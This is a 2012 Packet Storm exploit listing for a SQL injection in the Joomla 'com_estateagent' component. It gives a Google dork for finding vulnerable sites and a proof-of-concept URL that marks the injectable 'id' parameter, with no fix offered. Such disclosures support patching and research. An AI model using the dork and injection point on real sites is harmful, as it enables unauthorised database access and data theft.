Joomla The Estate Agent SQL Injection

2012-04-11T00:00:00
ID PACKETSTORM:111749
Type packetstorm
Reporter xDarkSton3x
Modified 2012-04-11T00:00:00

Description

                                        
                                            `##################################################  
# Exploit Title: joomla component (com_estateagent) SQL injection Vulnerability  
# Date: 10/04/2012  
# Author: xDarkSton3x  
# E-mail : xdarkston3x@msn.com  
# Category:: webapps  
# Google dork: inurl:"com_estateagent"  
# Tested on: linux + windows  
# Vendor link: http://www.eaimproved.eu/index.php  
##################################################  
  
[~]Exploit/p0c :  
http://site.com/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]  
  
Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] - [ Malandrines Team - DiosdelaRed.Com - RemoteExecution ] [ Dedalo - Maztor ]  
  
`